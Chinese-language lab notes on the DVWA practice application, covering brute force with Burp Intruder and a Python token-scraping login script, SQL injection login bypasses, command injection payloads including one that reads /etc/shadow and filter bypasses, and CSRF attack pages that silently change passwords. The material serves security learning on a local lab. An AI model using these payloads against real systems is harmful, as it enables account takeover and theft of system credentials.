这是DVWA使用的一些记录关于DVWA和中间使用的工具不再专门介绍,遇到我不会的,会在操作过程中做一定程度的讲解.
一些知识
默认的账户 admin/password
修改DVWA\dvwa\includes\dvwaPage.inc.php
吧所有utf8
改为gb2312
,就不乱码了.
遇到的没有解决的问题
暴力破解low //python脚本问题
csrfhigh //csrf和xss结合,以及csrf的构造攻击页面都不是很理解.
DVWA安装 参看有道网页简报:http://note.youdao.com/noteshare?id=34642bf8ba5bd1ba341d67b9fe35153a
实战 Brute Force 暴力破解 low等级 方法一 burp暴力破解 关于burp intruder的一些介绍
Positions的三个选项
狙击手模式(Sniper)——它使用一组Payload集合,依次替换Payload位置上(一次攻击只能使用一个Payload位置)被§标志的文本(而没有被§标志的文本将不受影响),对服务器端进行请求,通常用于测试请求参数是否存在漏洞。
攻城锤模式(Battering ram)——它使用单一的Payload集合,依次替换Payload位置上被§标志的文本(而没有被§标志的文本将不受影响),对服务器端进行请求,与狙击手模式的区别在于,如果有多个参数且都为Payload位置标志时,使用的Payload值是相同的,而狙击手模式只能使用一个Payload位置标志。
草叉模式(Pitchfork )——它可以使用多组Payload集合,在每一个不同的Payload标志位置上(最多20个),遍历所有的Payload。举例来说,如果有两个Payload标志位置,第一个Payload值为A和B,第二个Payload值为C和D,则发起攻击时,将共发起两 次攻击,第一次使用的Payload分别为A和C,第二次使用的Payload分别为B和D。
集束炸弹模式(Cluster bomb) 它可以使用多组Payload集合,在每一个不同的Payload标志位置上(最多20个),依次遍历所有的Payload。它与草叉模式的主要区别在于,执行的Payload数据Payload组的乘积。举例来说,如果有两个Payload标志位置,第一个Payload值为A和B,第二个Payload值为C和D,则发起攻击时,将共发起四 次攻击,第一次使用的Payload分别为A和C,第二次使用的Payload分别为A和D,第三次使用的Payload分别为B和C,第四次使用的Payload分别为B和D。
从上述讲解可以看出我们这里暴力破解使用Cluster bomb
更为合适.
我们首先按照惯例访问dvwa的brute force
,然后点击登陆 将被burp劫的包发送到intruder
,Positions选择好Cluster bomb
模式,然后查看我们劫持的包,添加变量
我们添加了两个变量,密码和用户,切换到payloads,payload sets>payload set
就有两个可以选,而payload type
内容过多我们不介绍直接选择simple list
.
我们别添加好两个payload sets>payload set
,可以直接载入文件,也可以手动add
其他保持默认. 斯达特儿 啊泰克! 然后查看攻击过程页面,查看结果找到长度不一样的那一行就可以看到正确的payload了.
另外
再这个攻击过程页面,我们还可以保存结果,添加其他的列.等等
方法二 sql注入 我们查看服务端的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php if (isset ($_GET['Login' ])){$user=$_GET['username' ]; $pass=$_GET['password' ]; $pass=md5($pass); $query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';" ; $result=mysql_query($query)ordie('<pre>' .mysql_error().'</pre>' ); if ($result&&mysql_num_rows($result)==1 ){$avatar=mysql_result($result,0 ,"avatar" ); echo "<p>Welcometothepasswordprotectedarea{$user}</p>" ;echo "<imgsrc=" {$avatar}"/>" ;} else {echo "<pre><br/>Usernameand/orpasswordincorrect.</pre>" ;} mysql_close(); } ?>
可以看到没有对sql的关键字过滤,也没有做防暴力破解措施.
直接注入,我们的目的是登陆,这两个payload都是可行的,密码都保持为空admin' or '1'=1
admin' --
但是!!! 下面是没解决的问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 mysql> SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = '$pass'; 实际输入的:admin' or '1'='1 mysql> SELECT * FROM `users` WHERE user = 'admin' or 1=1 -- ' AND password = '$pass'; 实际输入的:`admin' or 1=1 -- ` //末尾输入了空格的 这两个再mysql里试了都可以.dvwa里输入第一个可以,第二个就不行 回显:Username and/or password incorrect. 没搞懂为啥不行. 但是第二个把` admin' or 1=1 -- ` 改为 `admin' and 1=1 -- `又可以了. 没搞懂,为什么又可以了.脑壳疼. ---------- 解答 使用`admin' or 1=1 -- `查询的时候,返回的是多条语句,源码中会判断查询返回值为1的时候才算登陆成功. 因为`admin' and 1=1 -- `查询的时候admin起到了限制作用,数据库中只有一条admin,所以成功了. 那么要用or,解决方案就是添加一个limit`name' or 1=1 limt 0,1 -- `
medium等级 直接查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php if (isset ($_GET['Login' ])){$user=$_GET['username' ]; $user=mysql_real_escape_string($user); $pass=$_GET['password' ]; $pass=mysql_real_escape_string($pass); $pass=md5($pass); $query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';" ; $result=mysql_query($query)ordie('<pre>' .mysql_error().'</pre>' ); if ($result&&mysql_num_rows($result)==1 ){$avatar=mysql_result($result,0 ,"avatar" ); echo "<p>Welcometothepasswordprotectedarea{$user}</p>" ;echo "<imgsrc=" {$avatar}"/>" ;} else {sleep(2 ); echo "<pre><br/>Usernameand/orpasswordincorrect.</pre>" ;} mysql_close(); } ?>
可以看到比low多了两个处理,输入的密码和用户都被mysql_real_escape_string
函数处理了搜索得知
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符 下列字符受影响: \x00 \n \r \ ‘ “ \x1a 如果成功,则该函数返回被转义的字符串。如果失败,则返回 false
所以基本防止了简单的sql注入,依然可能有sql注入,但是超过我目前的能力.
另一个是sleep(2)
这个函数的单位是秒,执行一次就暂停两秒. 强度不大依然有爆破的可能,只是可能会增加很多时间 low等级.
high等级 直接看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php if (isset ($_GET['Login' ])){checkToken($_REQUEST['user_token' ],$_SESSION['session_token' ],'index.php' ); $user=$_GET['username' ]; $user=stripslashes($user); $user=mysql_real_escape_string($user); $pass=$_GET['password' ]; $pass=stripslashes($pass); $pass=mysql_real_escape_string($pass); $pass=md5($pass); $query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';" ; $result=mysql_query($query)ordie('<pre>' .mysql_error().'</pre>' ); if ($result&&mysql_num_rows($result)==1 ){$avatar=mysql_result($result,0 ,"avatar" ); echo "<p>Welcometothepasswordprotectedarea{$user}</p>" ;echo "<imgsrc=" {$avatar}"/>" ;} else {sleep(rand(0 ,3 )); echo "<pre><br/>Usernameand/orpasswordincorrect.</pre>" ;} mysql_close(); } generateSessionToken(); ?>
先看获取用户输入的参数的时候又多了一个stripslashes()
函数
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠
也是为了防止注入的
还有个checkToken()
函数
Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username
、password
、Login
以及user_token
1 Referer: http://192.168.96.128/dvwa/vulnerabilities/brute/?username=admin&password=password&Login=Login&user_token=3f20d7a28a519a79c7bac90855c04c8b
每次访问返回页面都包含token值.而且这个返回的token是不一样的
1 2 3 <input type='hidden' name='user_token' value='71452a57a65cbfd58568c78bbca670f5' /> //第一次 <input type='hidden' name='user_token' value='92e10646c8b9f1d1b748a33ec885dabf' /> //第二次
流程是这样的
每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询 所以这个token用来验证你的请求,有效防止了机器暴力破解.
这里是修改别人的脚本,也是我的第一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import urllib,urllib2import cookielibimport reimport randomIP = '192.168.96.128' iplist = ['127.0.0.1:8080' ] username = 'admin' password = 'password' usernames = [] passwords = [] cookie = cookielib.CookieJar() handler=urllib2.HTTPCookieProcessor(cookie) proxy_handler = urllib2.ProxyHandler({'http' :random.choice(iplist)}) // opener = urllib2.build_opener(proxy_handler) opener.addheaders = [('User-agent' , 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0' )] opener.addheaders.append(('Cookie' , 'security=high; PHPSESSID=897875ebe1aaf7d0bff721af4dac4735' )) with open('username.txt' , 'r' ) as f: //with as 读取并赋值给f,同时封装了错误处理,代开关闭文件对象的方法 for line in f.readlines(): //readlines() 方法用于读取所有行(直到结束符 EOF)并返回列表,该列表可以由 Python 的 for ... in ... 结构进行处理。如果碰到结束符 EOF 则返回空字符串。 line = line.strip().split('\t' , 1 ) //strip() Python strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。注意:该方法只能删除开头或是结尾的字符,不能删除中间部分的字符。 //Python split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串,返回分割后的字符串列表.这样即使我们的`txt`是横着些的也没问题了. line = ':' .join(line) //Python join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。为刚才的split进一步处理 join()方法语法:str.join(sequence) usernames.append(line) //append() 方法用于在列表末尾添加新的对象。 with open('password.txt' , 'r' ) as f: for line in f.readlines(): line = line.strip().split('\t' , 1 ) line = ':' .join(line) passwords.append(line) for username in usernames: for password in passwords: response = opener.open('http://' + IP + '/dvwa/vulnerabilities/brute/' ) content = response.read() user_token = re.findall(r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)" ,content)[0 ] url = 'http://' + IP + '/dvwa/vulnerabilities/brute/?username=' + username + '&password=' + password + '&Login=Login&user_token=' + user_token response = opener.open(url) content = response.read() print '-' *20 print u'yonghuming:' + username print u'mima:' + password if 'Username and/or password incorrect.' in content: print u'shibai:shibai' else : print u'chengong!!!!!!' print '-' *20
impossible 暂时没有时间审计代码.直接看别人的结论
可以看到Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。 同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。
所以以目前我的能力是不可能爆破的.
Command Injection 命令注入,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的.PHP 命令注入攻击漏洞是PHP 应用程序中常见的脚本漏洞之一
Low 直接看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php if ( isset ( $_POST[ 'Submit' ] ) ) { $target = $_REQUEST[ 'ip' ]; if ( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd}</pre>" ; } ?>
最外层的if用来获取用户输入,并赋值给target变量. 内层if首先判断你的系统. 遇到一个不会的函数 stristr()
stristr(字符串,搜索,before_search) stristr 函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点) //字符串总是被评为布尔真 如果未找到所搜索的字符串,则返回FALSE 。 参数字符串
规定被搜索的字符串,参数搜索
规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的ASCII 值的字符) 可选参数before_true 为布尔型,默认为“false” ,如果设置为“true” ,函数将返回搜索参数第一次出现之前的字符串部分。
第二个函数php_uname()
php_uname(模式) 这个函数会返回运行 php 的操作系统的相关描述 参数mode 可取值 “ a ” (此为默认,包含序列“ snrvm ” 里的所有模式) “ s ” (返回操作系统名称) “ n ” (返回主机名) ” - [R ” (返回版本名称) ” v ” (返回版本信息 ) ” m” (返回机器类型)。
所以1 stristr( php_uname( 's' ), 'Windows NT' ) //意思是 返回当前主机(服务器)操作系统名称,在其中并搜索'windows nt'字符
成功执行win
的命令,失败执行*linx
的命令,执行的命令是拼接好的ping
命令,命令的值是用户输入的,虽然只能执行ping命令,但是用户的输入没有被过滤,所以存在命令注入.
Win中我们使用 &&
连接符号输入127.0.0.100&&net user
这样在cmd中实际执行的就是ping 192.168.1.1&&net user
Linux下输入127.0.0.1&&cat /etc/shadow
甚至可以读取shadow文件,可见危害之大
medium 先不看源码直接输入上个命令127.0.0.100&&net user
1 Ping 请求找不到主机 192.168.1.1ipconfig。请检查该名称,然后重试。
我们猜测是服务器过滤了&&
字符串.这里我们需要学习连接符 ”&&”与” &”
都可以连接两个命令 Command 1&&Command 2:先执行Command 1,执行成功后执行Command 2,否则不执行Command 2 Command 1&Command 2:先执行Command 1,不管是否成功,都会执行Command 2
那么我们就尝试127.0.0.100&net user
成功了!服务器没有过滤&
字符
我们再尝试一下管道符号|
(管道符,前一个命令的输出作为后一个命令的输入)127.0.0.1|net user
1 2 3 4 5 6 \\DESKTOP-SPG9P 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Doll SY DA Guest WDAGUtilityAccount 命令成功完成。
ping命令没有显示但是netuser显示了.所以管道符也可以使用.
下面查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php if ( isset ( $_POST[ 'Submit' ] ) ) { $target = $_REQUEST[ 'ip' ]; $substitutions = array ( '&&' => '' , ';' => '' , ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); if ( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd}</pre>" ; } ?>
我们注意到有个str_replace()
方法把&&
和;
替换为空 所以我们可以构造,绕过&&
过滤192.193.1.1&;&net user
这样过滤掉分号就剩下&&
了.
high 我们尝试了之后发现只有管道符号能使用,连接符都被过滤了. 然后查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php if ( isset ( $_POST[ 'Submit' ] ) ) { $target = trim($_REQUEST[ 'ip' ]); $substitutions = array ( '&' => '' , ';' => '' , '| ' => '' , '-' => '' , '$' => '' , '(' => '' , ')' => '' , '`' => '' , '||' => '' , ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); if ( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd}</pre>" ; } ?>
我们看到直接过滤了&
等,而管道符却漏掉了|
,代码中过滤的是|%20
和||
. 所以我们的|
没有被过滤
a|b
与a||b
a|b a的输出作为b的输入 a||b a执行失败才会执行b //所以使用这个命令要让a故意失败不然就执行不到b
impossible 我们也尝试输入连接符号,发现直接就提示
1 ERROR: You have entered an invalid IP.
直接限制了我们输入的格式
我们查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php if ( isset ( $_POST[ 'Submit' ] ) ) { checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); $target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); $octet = explode( "." , $target ); if ( ( is_numeric( $octet[0 ] ) ) && ( is_numeric( $octet[1 ] ) ) && ( is_numeric( $octet[2 ] ) ) && ( is_numeric( $octet[3 ] ) ) && ( sizeof( $octet ) == 4 ) ) { $target = $octet[0 ] . '.' . $octet[1 ] . '.' . $octet[2 ] . '.' . $octet[3 ]; if ( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd}</pre>" ; } else { echo '<pre>ERROR: You have entered an invalid IP.</pre>' ; } } generateSessionToken(); ?>
相关函数介绍stripslashes(string) stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。explode(separator,string,limit) 把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。
is_numeric(string) 检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。 可以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此基本不存在命令注入漏洞。
CSRF Low 查看页面这是一个修改密码的功能.我们还是直接查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php if ( isset ( $_GET[ 'Change' ] ) ) { $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';" ; $result = mysqli_query($GLOBALS["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_error($GLOBALS["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match.</pre>" ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston" ]))) ? false : $___mysqli_res); } ?>
不熟悉的函数:
isset()
函数用于检测变量是否已设置并且非 NULL。
mysql_real_escape_string()
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。前面的学习中已经遇到过,这个方法基本已经防止了sql注入
mysql_query()
— 发送一条 MySQL 查询 仅对 SELECT,SHOW,DESCRIBE, EXPLAIN 和其他语句 语句返回一个 resource,如果查询出现错误则返回 FALSE 对于其它类型的 SQL 语句,比如INSERT, UPDATE, DELETE, DROP 之类, mysql_query() 在执行成功时返回 TRUE,出错时返回 FALSE Warning 本扩展自 PHP 5.5.0 起已废弃,并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之
die(status)
函数输出一条消息,并退出当前脚本。该函数是 exit() 函数的别名。 status 必需。规定在退出脚本之前写入的消息或状态号。状态号不会被写入输出。 如果 status 是字符串,则该函数会在退出前输出字符串 如果 status 是整数,这个值会被用作退出状态。退出状态的值在 0 至 254 之间。退出状态 255 由 PHP 保留,不会被使用。状态 0 用于成功地终止程序。
首先取得了两个密码然后对两个密码比较,如果相同,开始更新密码的流程,过滤密码中的sql字符,密码MD5加密,构造sql语句更新数据库的密码. 如果不相同,回显密码不相同提示.
可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)。
需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面
方法一 直接构造链接 我们抓包看看,修改密码的时候url是什么样的. 这个页面使用GET方法取得参数的,所以我们可以仿造构造一个包含两个参数的链接诱导受害者点击.
1 http://192.168.96.128/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
我们看到点击后就是修改完成的页面,页面提示我们已经修改完成了. 这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了 所以我们可以做一个初步伪装—短链接. 找一个在线短链接生成网站,生成的短链接已经看不出意图,访问后会跳转到我们真实的攻击url. 由于本地搭建的环境密友绑定域名,直接使用ip生成短链接,网站都提示不支持. 虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明
方法二 构造页面 我们现在公网上传一个攻击页面,诱导受害者去访问这个页面.这样受害者修改了密码看到的却是我们构造的页面.
首先编辑好一个页面
1 2 3 4 5 <img src="http://192.168.96.128/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/> <h1>404<h1> <h2>file not found.<h2>
这个页面被浏览器渲染后就是一个404页面. 我们分析这个img
标签. 他的src
是一个链接,访问页面后浏览器就会访问这个src里的url去请求资源.请求后由于受害者本地有cookie,服务器就认可了用户的修改行为,而且我们将img的display
属性设置为了none
,无法看到. 这个页面已经能够修改用户的密码了. 我们现在将这个页面上传到公网上.可以使用github. 上传使用方法见:https://e1sewhere.github.io/2019/02/24/GitHub%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/
我们扮演用户点击这个链接:http://htmlpreview.github.io/?https://github.com/E1sewhere/hexo-blog-modify/blob/master/node_modules_modify/hexo-util/test.html 看到访问了上传的页面. 我们查看页面元素 看到页面元素含有攻击url. 退出之前的dvwa使用新密码hack
登陆,成功了. 当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack
Medium 修改安全等级并修改密码,我们先尝试之前的方法访问我们上传的页面.然后登陆dvwa,发现我们的hack密码已经无法登陆了. 我们抓取我们的请求 有一个referer
字段.
然后查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php if ( isset ( $_GET[ 'Change' ] ) ) { if ( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';" ; $result = mysqli_query($GLOBALS["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_error($GLOBALS["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match.</pre>" ; } } else { echo "<pre>That request didn't look correct.</pre>" ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston" ]))) ? false : $___mysqli_res); } ?>
惯例先查一查不认识的方法:
eregi(string pattern
, string string
)
检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
$_SERVER
这种超全局变量保存关于报头、路径和脚本位置的信息。
根据源码,medium等级增加了一个验证来源的防护,来防止CSRF 验证规则是http包头的Referer参数的值中必须包含 SERVER_NAME
,我们查看服务器下的httpd.conf
文件看到ServerName
的值为localhost
.这里就是192.168.96.128
(实际情况要猜测,或者其他方法获取)
为了方便我们直接用burp劫持test.html
发出的请求. 可以看到有referer
字段,我们需要让它含有192.168.96.128
这样的字符串,虽然再burp中我们可以随意修改referer,但是实际攻击中我们只能修改自己上传页面的文件名.所以这里我们将test.html
修改为192.168.96.128.txt
.然后继续发送修改后的包.我们看到burp页面提示修改密码成功.实际过程中用户还是只能看到404页面,因为页面中包含的图片请求是不会有返回的.
High (这个不是很明白) < /span> 上面的方法都不行,我们直接查看源码了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php if ( isset ( $_GET[ 'Change' ] ) ) { checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';" ; $result = mysqli_query($GLOBALS["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_error($GLOBALS["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match.</pre>" ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston" ]))) ? false : $___mysqli_res); } generateSessionToken(); ?>
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
我们还是想法构造一个页面上传到公网. 我们要构造一个页面然后让这个页面的ifram去访问修改密码的页面,获得token,然后向服务器发送修改密码的请求,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <script type ="text/javascript" > function attack ( ) { document .getElementsByName('user_token' )[0 ].value=document .getElementById("hack" ).contentWindow.document.getElementsByName('user_token' )[0 ].value; document .getElementById("transfer" ).submit(); } </script > <iframe src ="http://192.168.153.130/dvwa/vulnerabilities/csrf" id ="hack" border ="0" style ="display:none;" > </iframe > <body onload ="attack()" > <form method ="GET" id ="transfer" action ="http://192.168.153.130/dvwa/vulnerabilities/csrf" > <input type ="hidden" name ="password_new" value ="password" > <input type ="hidden" name ="password_conf" value ="password" > <input type ="hidden" name ="user_token" value ="" > <input type ="hidden" name ="Change" value ="Change" > </form > </body >
然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。
我们进入XSS(stored)项目的页面这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token.(这里以后到xss阶段再详细讲) 我们拿到获取的token.重新修改下页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <body onload="attack()"> <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value="获取到的token"> <input type="hidden" name="Change" value="Change"> </form> </body>
诱导用户访问这个页面,修改成功了.
Impossible 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php if ( isset ( $_GET[ 'Change' ] ) ) { checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_curr = md5( $pass_curr ); $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user' , dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password' , $pass_curr, PDO::PARAM_STR ); $data->execute(); if ( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { $pass_new = stripslashes( $pass_new ); $pass_new = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5( $pass_new ); $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password' , $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user' , dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match or current password incorrect.</pre>" ; } } generateSessionToken(); ?>
可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。
File Inclusion 这个没有实际操作,略过.比较简单,有时间也可以操作
